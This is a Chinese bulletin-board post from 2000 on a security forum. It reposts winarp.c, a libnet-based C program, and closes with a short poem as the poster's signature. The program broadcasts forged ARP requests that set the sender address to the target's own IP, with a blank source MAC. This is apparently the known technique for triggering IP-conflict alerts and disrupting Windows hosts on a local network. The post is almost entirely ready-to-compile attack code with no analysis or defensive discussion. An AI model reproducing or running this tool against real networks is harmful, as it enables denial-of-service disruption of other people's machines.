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<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>
标 题: winarp.c <br>
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:56:03 2000), 站内信件 <br>
<br>
/* <br>
* Copyright (c) 1998, 1999 route|daemon9 <route@infonexus.com> <br>
* All rights reserved. <br>
* <br>
* Modified to winarps.c 1999 by kay <kay@phreedom.org> <br>
* <br>
* Redistribution and use in source and binary forms, with or without <br>
* modification, are permitted provided that the following conditions <br>
* are met: <br>
* 1. Redistributions of source code must retain the above copyright <br>
* notice, this list of conditions and the following disclaimer. <br>
* 2. Redistributions in binary form must reproduce the above copyright <br>
* notice, this list of conditions and the following disclaimer in the <br>
* documentation and/or other materials provided with the distribution. <br>
* <br>
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND <br>
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE <br>
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE <br>
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE <br>
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL <br>
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS <br>
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) <br>
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT <br>
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY <br>
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF <br>
* SUCH DAMAGE. <br>
* <br>
*/ <br>
<br>
#include <libnet.h> <br>
<br>
u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; <br>
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; <br>
u_long ip_dst = 0; <br>
<br>
void send_arp(struct link_int *, u_char *); <br>
<br>
#if (__linux__) <br>
#define IPOPT_SECURITY 130 <br>
#endif <br>
<br>
<br>
int main(int argc, char *argv[]) <br>
{ <br>
int c, count = 1; <br>
char errbuf[256]; <br>
char *device = NULL; <br>
char *address = NULL; <br>
struct link_int *l; <br>
<br>
while ((c = getopt(argc, argv, "i:d:c:")) != EOF) { <br>
switch (c) { <br>
case 'i': <br>
device = optarg; <br>
break; <br>
case 'd': <br>
address = optarg; <br>
ip_dst = name_resolve(address, 0); <br>
break; <br>
case 'c': <br>
count = atoi(optarg); <br>
break; <br>
default: <br>
exit(EXIT_FAILURE); <br>
} <br>
} <br>
<br>
if (!device) { <br>
fprintf(stderr, "Specify a device\n"); <br>
exit(EXIT_FAILURE); <br>
} <br>
if (!ip_dst) { <br>
fprintf(stderr, "Specify destination\n"); <br>
exit(EXIT_FAILURE); <br>
} <br>
if ((l = open_link_interface(device, errbuf)) == NULL) { <br>
fprintf(stderr, "open_link_interface: %s\n", errbuf); <br>
exit(EXIT_FAILURE); <br>
} <br>
send_arp(l, device); <br>
exit(EXIT_SUCCESS); <br>
} <br>
<br>
<br>
void send_arp(struct link_int *l, u_char * device) <br>
{ <br>
{ <br>
int n; <br>
u_char *buf; <br>
<br>
buf = (u_char *) malloc(ARP_H + ETH_H); <br>
if (!buf) { <br>
perror("no packet memory"); <br>
exit(EXIT_FAILURE); <br>
} <br>
memset(buf, 0, ARP_H + ETH_H); <br>
<br>
build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf); <br>
build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src, <br>
(void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H); <br>
n = write_link_layer(l, device, buf, ARP_H + ETH_H); <br>
<br>
printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype); <br>
} <br>
-- <br>
我问飘逝的风：来迟了？ <br>
风感慨：是的，他们已经宣战。 <br>
我问苏醒的大地：还有希望么？ <br>
大地揉了揉眼睛：还有，还有无数代的少年。 <br>
我问长空中的英魂：你们相信？ <br>
英魂带着笑意离去：相信，希望还在。 <br>
</small><hr>
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